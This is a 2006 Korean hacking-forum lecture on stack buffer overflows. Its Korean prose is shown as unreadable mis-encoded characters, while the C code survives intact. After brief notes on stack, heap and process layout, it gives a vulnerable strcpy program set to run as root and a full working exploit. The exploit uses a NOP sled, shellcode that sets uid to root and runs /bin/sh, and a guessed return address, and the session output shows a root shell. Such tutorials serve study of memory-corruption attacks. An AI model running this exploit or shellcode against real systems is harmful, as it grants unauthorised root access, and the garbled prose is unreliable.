http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=482 [º¹»ç]
Title : Buffer Overflow
Writter : BlackCoder(blackcoder at naver.com)
Date : 2006/2/17
irc : #studyhack
Âü°í¹®Çå :
1. leon.null2root.org ÀÇ ¿øÀç¾Æºü´ÔÀÇ BOF°ÁÂ
2. Smashing The Stack For Fun And Profit
3. Corezine volume 01 - Juli 1999
4. http://www.subterrain.net/~jbl/overflow-papers/buffer.txt
5. ¿ø±¤´ë bugbox?ÃßÀº¼®/ÀÌÁ¾¿õ´ÔÀÇ ¹öÆÛ ¿À¹ö Ç÷οì : ÇØÅ· °ü·Ã ³»¿ë
6. ±× ¿Ü ¾Ë ¼ö ¾ø´Â ÀÛ¼ºÀÚ´ÔÀÇ ±Û
1. Buffer Overflow?
BOF´Â ÁöÁ¤µÈ ¸Þ¸ð¸® ¿µ¿ªÀ» ¹þ¾î³ª¼ ÀϾ´Â ¹ö±×ÀÌ´Ù.
BOF¿¡´Â 2°¡Áö Á¾·ù°¡ ÀÖ´Ù. stack overflow ¿Í heap overflow ÀÌ ÀÖ´Ù.
ÇÁ·Î±×·¡¸Ó°¡ Á¶±Ý¸¸ ½Å°æÀ» ¾È½áµµ »ý±â´Â ÀÚÁÖ º¼ ¼ö ÀÖ´Â ¹ö±×ÀÌ´Ù.
2. ¹öÆÛ(Buffer)¶õ?
¹öÆÛ(Buffer)¶õ ÄÄÇ»ÅÍÀÇ ÁÖ±â¾ï ÀåÄ¡¿Í ÁÖº¯ÀåÄ¡ »çÀÌ¿¡¼
µ¥ÀÌÅ͸¦ ÁÖ°í¹ÞÀ» ¶§ Á¤º¸¸¦ Àӽ÷Π±â¾ïÇØµÎ°í ±â¾ïÇصδ Àӽðø°£ÀÌ´Ù.
¹öÆÛ¿¡´Â 2°¡Áö Á¾·ù°¡ Àִµ¥ stack °ú heap À¸·Î ³ª´ ¼ö ÀÖ´Ù.
¶Ç FILO, FIFO ¶ó´Â 2°¡Áö ±¸Á¶·Î ³ª´¼ö Àִµ¥,
stackÀº FILO±¸Á¶, heapÀº FIFO±¸Á¶ÀÌ´Ù.
±×·³ FILO¿Í FIFO´Â ¹«¾ùÀϱî?
FILO(first-in,last-out/FILO) Áï óÀ½ µé¾î°£ °ÍÀÌ ¸¶Áö¸·¿¡ ³ª¿Â´Ù´Â ¶æÀÌ´Ù.
¿¹¸¦ µé¾î µ¿ÀüÀ» ½×°í ³µÚ¿¡ º¸¸é óÀ½ ½×Àº°Ô ¸Ç ¹Ø¿¡,
¸Ç ³ªÁß¿¡ ½×Àº°Ô ¸Ç À§¿¡ ÀÖ´Ù.
Áï, ¸Ç óÀ½¿¡ µé¾î°£ µ¥ÀÌÅÍ°¡ ¸Ç ¹Ø¿¡ À§Ä¡ÇÏ°í, ±× ´ÙÀ½¿¡ µé¾î°£ µ¥ÀÌÅÍ°¡
±× À§¿¡ À§Ä¡ÇÑ´Ù. ÀÌ·¸°Ô µ¥ÀÌÅ͵éÀÌ ½×ÀÌ°Ô µÈ´Ù. ¹Ý´ë·Î µ¥ÀÌÅ͸¦ ²¨³¾¶§,
¸Ç ¸¶Áö¸·¿¡ µé¾î°£ µ¥ÀÌÅÍ, Áï ¸Ç À§ÂÊ¿¡ ÀÖ´Â µ¥ÀÌÅ͸¦ ²¨³»¾ßÁö¸¸ ¾Æ·¡¿¡ ÀÖ´Â
µ¥ÀÌÅ͸¦ ²¨³¾ ¼ö ÀÖ°Ô µÈ´Ù. ÀÌ·±½ÄÀ¸·Î Á¦ÀÏ Ã³À½ µé¾î°£ µ¥ÀÌÅ͸¦ ²¨³»±â
À§Çؼ´Â ¸Ç ¸¶Áö¸·¿¡ ÀÖ´Â µ¥ÀÌÅÍ Áï ¸Ç À§¿¡ ÀÖ´Â µ¥ÀÌÅ͸¦ ²¨³»°í ³ µÚ Â÷·ÊÂ÷·Ê
²¨³»¾ß¸¸ Çϴ°ÍÀÌ´Ù.
´ÙÀ½À¸·Î,
FIFO(first-in,first-out/FIFO) Áï óÀ½ µé¾î°£ °ÍÀÌ Ã³À½¿¡ ³ª¿Â´Ù´Â ¶æÀÌ´Ù.
¹æ±Ý ¼³¸íÇÑ FILO¸¦ ÀÌÇØÇÏ¿´´Ù¸é ½¬¿ï °ÍÀÌ´Ù. ¹Ý´ë·Î »ý°¢ÇÏ¸é µÈ´Ù.
¿¹¸¦ µé¾î °³¹Ì¶§°¡ ÁÙÁö¾î¼ »¡´ë¼ÓÀ¸·Î µé¾î°£´Ù. ½Ã°£ÀÌ Áö³ª¸é,
¸ÕÀú µé¾î°£ °³¹Ì°¡ ¸ÕÀú »¡´ë¹ÛÀ¸·Î ³ª¿Ã °ÍÀÌ´Ù.
Áï, FIFO´Â, ¸ÕÀú µé¾î°£ µ¥ÀÌÅÍ°¡ ¸ÕÀú ³ª¿À´Â µ¥ÀÌÅͱ¸Á¶ÀÌ´Ù.
3. ÇÁ·Î¼¼½º(Process) ÀÇ ±¸Á¶
##################
# stack #
##################
# heap #
##################
# data #
##################
# text #
##################
¿©±â¼ °¡Àå Áß¿äÇÑ stack ¿¡ ´ëÇØ ¾Ë¾Æº¸ÀÚ.
¸Þ¸ð¸®»ó¿¡¼ °¡Àå À§ÂÊ¿¡ À§Ä¡ÇÑ StackÀº ´ëºÎºÐ C ¾ð¾î·Î ÀÛ¼ºµÇ¾î ÀÖ´Â
ÇÁ·Î±×·¥ ¶§¹®¿¡ ¸¸µé¾îÁø ±¸¿ªÀÌ´Ù. C¾ð¾î¿¡¼ ÇÔ¼ö¸¦ È£ÃâÇÒ ¶§, ÇÔ¼ö ¾È¿¡¼
»ç¿ëµÇ´Â Áö¿ªº¯¼ö µîÀ» ÀúÀåÇÑ´Ù.
4. Stack Overflow
void over(char *str){
char buffer[20];
strcpy(buffer,str);
}
main()
{
int i;
char large[50];
for( i=0;i<49;i++){
large[i]='a';
}
over(large);
}
À§ ¼Ò½ºÀÇ ¸Þ¸ð¸® ±¸Á¶¸¦ »ìÆ캸ÀÚ¸é
[buffer][sfp][ret][*str]
[*str] char *str
[ret] : ¿ø·¡ÀÇ ÇÔ¼öÀÇ ÁÖ¼Ò°ªÀÌ ÀúÀå.
[sfp] : Stack Frame Pointer, ½ºÅÿ¡¼ ÇöÀçÀÇ À§Ä¡¸¦ ³ªÅ¸³»´Â ·¹Áö½ºÅÍ
[buffer] : buffer[20]
±×·¯¸é ÀÌÁ¦ ½ÇÁ¦·Î BOF¸¦ ¾î¶»°Ô Çϴ°¡?
1. ¸ÕÀú bufferÀ» °¡µæ ä¿î´Ù.
2. Shellcode¸¦ ä¿ì°í ret¿¡ ShellcodeÀÇ ¸Ç ¾ÕºÎºÐ ÁÖ¼Ò¸¦ ³Ö´Â´Ù.
[buffer ][sfp ][ret ]
[shellcode][0000000][ShellcodeÀÇ adress]
¿©±â¼ Shellcode¶õ ¹«¾ùÀΰ¡?
¼³¸íÀÌ ³Ê¹« º¹ÀâÇϱ⿡ ´Ù¸¥ºÐÀÇ °Á¸¦ º¸¼¼¿ä.
- ½©Äڵ忡 ´ëÇÑ ÀÚ·á ¸µÅ©
http://blog.naver.com/zsup1343/60003844606
http://blog.naver.com/zsup1343?Redirect=Log&logNo=60003618069
---------------------------------------------------------------
ÀÌÁ¦ ´ëÃæ Shellcode °¡ ¹ºÁö °¨ÀÌ ÀâÇûÀ»°Å´Ù.
±×·³ ÀÌÁ¦ ½ÇÁ¦·Î ÇÁ·Î±×·¥À» °ø°ÝÇغ¸ÀÚ.
-bash-2.05b$ cat > vul1.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
-bash-2.05b$ gcc -o vul1 vul1.c
-bash-2.05b$ su root
password :
-bash-2.05b# chmod +s vul1
-bash-2.05b# exit
-bash-2.05b$ cat > exp.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68"; // ¼¿ÄÚµå^^
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}
// Áß¿äÇÑ ÇÔ¼ö, ÇöÀç sp ·¹Áö½ºÅÍÀÇ °ªÀ» ±¸ÇÑ´Ù.
// ÀÌ°É ÀÌ¿ëÇؼ ¼ÐÄڵ尡 ÀúÀå µÇ Àִ°÷À» ÁöÁ¤ÇÒ ¼ö ÀÖ´Ù.
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0; // ¿ÀÇÁ¼Â 0À» »ç¿ë
esp = sp(); // ÇöÀç ½ºÅÃÆ÷ÀÎÅ͸¦ esp¿¡ ÀúÀå
ret = esp - offset;
buffer = malloc(600); //¹öÆÛ¸¦ À§ÇÑ ¸Þ¸ð¸® 600¹ÙÀÌÆ®¸¦ Èü¿¡ ÇÒ´ç
//Àüü ¹öÆÛ¸¦ ¸®ÅÏÁּҷΠä¿ò
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
//¹öÆÛÀÇ Ã³À½ 200¹ÙÀÌÆ®¸¦ NOP¸í·ÉÀ¸·Î ä¿ò
for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }
//¼¿Äڵ带 NOP½ä¸Å ´ÙÀ½¿¡ µÐ´Ù.
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
//¹®ÀÚ¿ÀÇ ¸Ç ¸¶Áö¸·À» ¼³Á¤
buffer[600-1] = 0;
execl("./vul1", "vul1", buffer, 0);
// ¹öÆÛ ¸Þ¸ð¸®¸¦ Áö¿ò
free(buffer);
return 0;
}
-bash-2.05b$ gcc -o exp exp.c
-bash-2.05b$ ./exp
sh-2.05a# whoami
root
sh-2.05a#
³Ê¹« Ⱦ¼³¼ö¼³ Ç߳׿ä -_-;
ÀÌ»óÀ¸·Î °Á¸¦ ¸¶Ä¨´Ï´Ù.
irc #studyhack µé·ÁÁÖ¼¼¿ä ¤¾¤¾ |
Hit : 13308 Date : 2006/02/17 06:14
|